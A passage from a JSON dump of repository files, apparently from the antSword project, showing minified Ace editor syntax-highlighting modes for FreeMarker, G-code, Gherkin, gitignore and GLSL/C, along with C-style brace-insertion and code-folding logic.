n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules(o,\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),ace.define(\"ace/mode/ftl_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html_highlight_rules\").HtmlHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=\"\\\\?|substring|cap_first|uncap_first|capitalize|chop_linebreak|date|time|datetime|ends_with|html|groups|index_of|j_string|js_string|json_string|last_index_of|length|lower_case|left_pad|right_pad|contains|matches|number|replace|rtf|url|split|starts_with|string|trim|upper_case|word_list|xhtml|xml\",t=\"c|round|floor|ceiling\",n=\"iso_[a-z_]+\",r=\"first|last|seq_contains|seq_index_of|seq_last_index_of|reverse|size|sort|sort_by|chunk\",i=\"keys|values\",s=\"children|parent|root|ancestors|node_name|node_type|node_namespace\",o=\"byte|double|float|int|long|short|number_to_date|number_to_time|number_to_datetime|eval|has_content|interpret|is_[a-z_]+|namespacenew\",u=e+t+n+r+i+s+o,a=\"default|exists|if_exists|web_safe\",f=\"data_model|error|globals|lang|locale|locals|main|namespace|node|current_node|now|output_encoding|template_name|url_escaping_charset|vars|version\",l=\"gt|gte|lt|lte|as|in|using\",c=\"true|false\",h=\"encoding|parse|locale|number_format|date_format|time_format|datetime_format|time_zone|url_escaping_charset|classic_compatible|strip_whitespace|strip_text|strict_syntax|ns_prefixes|attributes\";this.$rules={start:[{token:\"constant.character.entity\",regex:/&[^;]+;/},{token:\"support.function\",regex:\"\\\\?(\"+u+\")\"},{token:\"support.function.deprecated\",regex:\"\\\\?(\"+a+\")\"},{token:\"language.variable\",regex:\"\\\\.(?:\"+f+\")\"},{token:\"constant.language\",regex:\"\\\\b(\"+c+\")\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\b(?:\"+l+\")\\\\b\"},{token:\"entity.other.attribute-name\",regex:h},{token:\"string\",regex:/['\"]/,next:\"qstring\"},{token:function(e){return e.match(\"^[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?$\")?\"constant.numeric\":\"variable\"},regex:/[\\w.+\\-]+/},{token:\"keyword.operator\",regex:\"!|\\\\.|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],qstring:[{token:\"constant.character.escape\",regex:'\\\\\\\\[nrtvef\\\\\\\\\"$]'},{token:\"string\",regex:/['\"]/,next:\"start\"},{defaultToken:\"string\"}]}};r.inherits(o,s);var u=function(){i.call(this);var e=\"assign|attempt|break|case|compress|default|elseif|else|escape|fallback|function|flush|ftl|global|if|import|include|list|local|lt|macro|nested|noescape|noparse|nt|recover|recurse|return|rt|setting|stop|switch|t|visit\",t=[{token:\"comment\",regex:\"<#--\",next:\"ftl-dcomment\"},{token:\"string.interpolated\",regex:\"\\\\${\",push:\"ftl-start\"},{token:\"keyword.function\",regex:\"</?#(\"+e+\")\",push:\"ftl-start\"},{token:\"keyword.other\",regex:\"</?@[a-zA-Z\\\\.]+\",push:\"ftl-start\"}],n=[{token:\"keyword\",regex:\"/?>\",next:\"pop\"},{token:\"string.interpolated\",regex:\"}\",next:\"pop\"}];for(var r in this.$rules)this.$rules[r].unshift.apply(this.$rules[r],t);this.embedRules(o,\"ftl-\",n,[\"start\"]),this.addRules({\"ftl-dcomment\":[{token:\"comment\",regex:\".*?-->\",next:\"pop\"},{token:\"comment\",regex:\".+\"}]}),this.normalizeRules()};r.inherits(u,i),t.FtlHighlightRules=u}),ace.define(\"ace/mode/ftl\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/ftl_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./ftl_highlight_rules\").FtlHighlightRules,o=function(){this.HighlightRules=s};r.inherits(o,i),function(){this.$id=\"ace/mode/ftl\"}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "antSword/static/libs/ace/mode-gcode.js",
    "content": "ace.define(\"ace/mode/gcode_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"IF|DO|WHILE|ENDWHILE|CALL|ENDIF|SUB|ENDSUB|GOTO|REPEAT|ENDREPEAT|CALL\",t=\"PI\",n=\"ATAN|ABS|ACOS|ASIN|SIN|COS|EXP|FIX|FUP|ROUND|LN|TAN\",r=this.createKeywordMapper({\"support.function\":n,keyword:e,\"constant.language\":t},\"identifier\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\(.*\\\\)\"},{token:\"comment\",regex:\"([N])([0-9]+)\"},{token:\"string\",regex:\"([G])([0-9]+\\\\.?[0-9]?)\"},{token:\"string\",regex:\"([M])([0-9]+\\\\.?[0-9]?)\"},{token:\"constant.numeric\",regex:\"([-+]?([0-9]*\\\\.?[0-9]+\\\\.?))|(\\\\b0[xX][a-fA-F0-9]+|(\\\\b\\\\d+(\\\\.\\\\d*)?|\\\\.\\\\d+)([eE][-+]?\\\\d+)?)\"},{token:r,regex:\"[A-Z]\"},{token:\"keyword.operator\",regex:\"EQ|LT|GT|NE|GE|LE|OR|XOR\"},{token:\"paren.lparen\",regex:\"[\\\\[]\"},{token:\"paren.rparen\",regex:\"[\\\\]]\"},{token:\"text\",regex:\"\\\\s+\"}]}};r.inherits(s,i),t.GcodeHighlightRules=s}),ace.define(\"ace/mode/gcode\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/gcode_highlight_rules\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./gcode_highlight_rules\").GcodeHighlightRules,o=e(\"../range\").Range,u=function(){this.HighlightRules=s};r.inherits(u,i),function(){this.$id=\"ace/mode/gcode\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-gherkin.js",
    "content": "ace.define(\"ace/mode/gherkin_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=\"\\\\\\\\(x[0-9A-Fa-f]{2}|[0-7]{3}|[\\\\\\\\abfnrtv'\\\"]|U[0-9A-Fa-f]{8}|u[0-9A-Fa-f]{4})\",o=function(){this.$rules={start:[{token:\"constant.numeric\",regex:\"(?:(?:[1-9]\\\\d*)|(?:0))\"},{token:\"comment\",regex:\"#.*$\"},{token:\"keyword\",regex:\"Feature:|Background:|Scenario:|Scenario Outline:|Examples:|Given|When|Then|And|But|\\\\*\"},{token:\"string\",regex:'\"{3}',next:\"qqstring3\"},{token:\"string\",regex:'\"',next:\"qqstring\"},{token:\"text\",regex:\"^\\\\s*(?=@[\\\\w])\",next:[{token:\"text\",regex:\"\\\\s+\"},{token:\"variable.parameter\",regex:\"@[\\\\w]+\"},{token:\"empty\",regex:\"\",next:\"start\"}]},{token:\"comment\",regex:\"<.+>\"},{token:\"comment\",regex:\"\\\\|(?=.)\",next:\"table-item\"},{token:\"comment\",regex:\"\\\\|$\",next:\"start\"}],qqstring3:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:'\"{3}',next:\"start\"},{defaultToken:\"string\"}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"start\"},{defaultToken:\"string\"}],\"table-item\":[{token:\"comment\",regex:/$/,next:\"start\"},{token:\"comment\",regex:/\\|/},{token:\"string\",regex:/\\\\./},{defaultToken:\"string\"}]},this.normalizeRules()};r.inherits(o,i),t.GherkinHighlightRules=o}),ace.define(\"ace/mode/gherkin\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/gherkin_highlight_rules\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./gherkin_highlight_rules\").GherkinHighlightRules,o=function(){this.HighlightRules=s};r.inherits(o,i),function(){this.lineCommentStart=\"#\",this.$id=\"ace/mode/gherkin\",this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=\"  \",s=this.getTokenizer().getLineTokens(t,e),o=s.tokens;return console.log(e),t.match(\"[ ]*\\\\|\")&&(r+=\"| \"),o.length&&o[o.length-1].type==\"comment\"?r:(e==\"start\"&&(t.match(\"Scenario:|Feature:|Scenario Outline:|Background:\")?r+=i:t.match(\"(Given|Then).+(:)$|Examples:\")?r+=i:t.match(\"\\\\*.+\")&&(r+=\"* \")),r)}}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "antSword/static/libs/ace/mode-gitignore.js",
    "content": "ace.define(\"ace/mode/gitignore_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment\",regex:/^\\s*#.*$/},{token:\"keyword\",regex:/^\\s*!.*$/}]},this.normalizeRules()};s.metaData={fileTypes:[\"gitignore\"],name:\"Gitignore\"},r.inherits(s,i),t.GitignoreHighlightRules=s}),ace.define(\"ace/mode/gitignore\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/gitignore_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./gitignore_highlight_rules\").GitignoreHighlightRules,o=function(){this.HighlightRules=s};r.inherits(o,i),function(){this.lineCommentStart=\"#\",this.$id=\"ace/mode/gitignore\"}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "antSword/static/libs/ace/mode-glsl.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/c_cpp_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.cFunctions=\"\\\\b(?:hypot(?:f|l)?|s(?:scanf|ystem|nprintf|ca(?:nf|lb(?:n(?:f|l)?|ln(?:f|l)?))|i(?:n(?:h(?:f|l)?|f|l)?|gn(?:al|bit))|tr(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?)|error|pbrk|ftime|len|rchr|xfrm)|printf|et(?:jmp|vbuf|locale|buf)|qrt(?:f|l)?|w(?:scanf|printf)|rand)|n(?:e(?:arbyint(?:f|l)?|xt(?:toward(?:f|l)?|after(?:f|l)?))|an(?:f|l)?)|c(?:s(?:in(?:h(?:f|l)?|f|l)?|qrt(?:f|l)?)|cos(?:h(?:f)?|f|l)?|imag(?:f|l)?|t(?:ime|an(?:h(?:f|l)?|f|l)?)|o(?:s(?:h(?:f|l)?|f|l)?|nj(?:f|l)?|pysign(?:f|l)?)|p(?:ow(?:f|l)?|roj(?:f|l)?)|e(?:il(?:f|l)?|xp(?:f|l)?)|l(?:o(?:ck|g(?:f|l)?)|earerr)|a(?:sin(?:h(?:f|l)?|f|l)?|cos(?:h(?:f|l)?|f|l)?|tan(?:h(?:f|l)?|f|l)?|lloc|rg(?:f|l)?|bs(?:f|l)?)|real(?:f|l)?|brt(?:f|l)?)|t(?:ime|o(?:upper|lower)|an(?:h(?:f|l)?|f|l)?|runc(?:f|l)?|gamma(?:f|l)?|mp(?:nam|file))|i(?:s(?:space|n(?:ormal|an)|cntrl|inf|digit|u(?:nordered|pper)|p(?:unct|rint)|finite|w(?:space|c(?:ntrl|type)|digit|upper|p(?:unct|rint)|lower|al(?:num|pha)|graph|xdigit|blank)|l(?:ower|ess(?:equal|greater)?)|al(?:num|pha)|gr(?:eater(?:equal)?|aph)|xdigit|blank)|logb(?:f|l)?|max(?:div|abs))|di(?:v|fftime)|_Exit|unget(?:c|wc)|p(?:ow(?:f|l)?|ut(?:s|c(?:har)?|wc(?:har)?)|error|rintf)|e(?:rf(?:c(?:f|l)?|f|l)?|x(?:it|p(?:2(?:f|l)?|f|l|m1(?:f|l)?)?))|v(?:s(?:scanf|nprintf|canf|printf|w(?:scanf|printf))|printf|f(?:scanf|printf|w(?:scanf|printf))|w(?:scanf|printf)|a_(?:start|copy|end|arg))|qsort|f(?:s(?:canf|e(?:tpos|ek))|close|tell|open|dim(?:f|l)?|p(?:classify|ut(?:s|c|w(?:s|c))|rintf)|e(?:holdexcept|set(?:e(?:nv|xceptflag)|round)|clearexcept|testexcept|of|updateenv|r(?:aiseexcept|ror)|get(?:e(?:nv|xceptflag)|round))|flush|w(?:scanf|ide|printf|rite)|loor(?:f|l)?|abs(?:f|l)?|get(?:s|c|pos|w(?:s|c))|re(?:open|e|ad|xp(?:f|l)?)|m(?:in(?:f|l)?|od(?:f|l)?|a(?:f|l|x(?:f|l)?)?))|l(?:d(?:iv|exp(?:f|l)?)|o(?:ngjmp|cal(?:time|econv)|g(?:1(?:p(?:f|l)?|0(?:f|l)?)|2(?:f|l)?|f|l|b(?:f|l)?)?)|abs|l(?:div|abs|r(?:int(?:f|l)?|ound(?:f|l)?))|r(?:int(?:f|l)?|ound(?:f|l)?)|gamma(?:f|l)?)|w(?:scanf|c(?:s(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?|mbs)|pbrk|ftime|len|r(?:chr|tombs)|xfrm)|to(?:b|mb)|rtomb)|printf|mem(?:set|c(?:hr|py|mp)|move))|a(?:s(?:sert|ctime|in(?:h(?:f|l)?|f|l)?)|cos(?:h(?:f|l)?|f|l)?|t(?:o(?:i|f|l(?:l)?)|exit|an(?:h(?:f|l)?|2(?:f|l)?|f|l)?)|b(?:s|ort))|g(?:et(?:s|c(?:har)?|env|wc(?:har)?)|mtime)|r(?:int(?:f|l)?|ound(?:f|l)?|e(?:name|alloc|wind|m(?:ove|quo(?:f|l)?|ainder(?:f|l)?))|a(?:nd|ise))|b(?:search|towc)|m(?:odf(?:f|l)?|em(?:set|c(?:hr|py|mp)|move)|ktime|alloc|b(?:s(?:init|towcs|rtowcs)|towc|len|r(?:towc|len))))\\\\b\",u=function(){var e=\"break|case|continue|default|do|else|for|goto|if|_Pragma|return|switch|while|catch|operator|try|throw|using\",t=\"asm|__asm__|auto|bool|_Bool|char|_Complex|double|enum|float|_Imaginary|int|long|short|signed|struct|typedef|union|unsigned|void|class|wchar_t|template|char16_t|char32_t\",n=\"const|extern|register|restrict|static|volatile|inline|private|protected|public|friend|explicit|virtual|export|mutable|typename|constexpr|new|delete|alignas|alignof|decltype|noexcept|thread_local\",r=\"and|and_eq|bitand|bitor|compl|not|not_eq|or|or_eq|typeid|xor|xor_eqconst_cast|dynamic_cast|reinterpret_cast|static_cast|sizeof|namespace\",s=\"NULL|true|false|TRUE|FALSE|nullptr\",u=this.$keywords=this.createKeywordMapper({\"keyword.control\":e,\"storage.type\":t,\"storage.modifier\":n,\"keyword.operator\":r,\"variable.language\":\"this\",\"constant.language\":s},\"identifier\"),a=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Zd\\\\$_\\u00a1-\\uffff]*\\\\b\";this.$rules={start:[{token:\"comment\",regex:\"//$\",next:\"start\"},{token:\"comment\",regex:\"//\",next:\"singleLineComment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[\"].*\\\\\\\\$',next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"string\",regex:\"['].*\\\\\\\\$\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"keyword\",regex:\"#\\\\s*(?:include|import|pragma|line|define|undef)\\\\b\",next:\"directive\"},{token:\"keyword\",regex:\"#\\\\s*(?:endif|if|ifdef|else|elif|ifndef)\\\\b\"},{token:\"support.function.C99.c\",regex:o},{token:u,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|==|=|!=|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|new|delete|typeof|void)\"},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],singleLineComment:[{token:\"comment\",regex:/\\\\$/,next:\"singleLineComment\"},{token:\"comment\",regex:/$/,next:\"start\"},{defaultToken:\"comment\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{defaultToken:\"string\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{defaultToken:\"string\"}],directive:[{token:\"constant.other.multiline\",regex:/\\\\/},{token:\"constant.other.multiline\",regex:/.*\\\\/},{token:\"constant.other\",regex:\"\\\\s*<.+?>\",next:\"start\"},{token:\"constant.other\",regex:'\\\\s*[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]',next:\"start\"},{token:\"constant.other\",regex:\"\\\\s*['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\",next:\"start\"},{token:\"constant.other\",regex:/[^\\\\\\/]+/,next:\"start\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(u,s),t.c_cppHighlightRules=u}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new 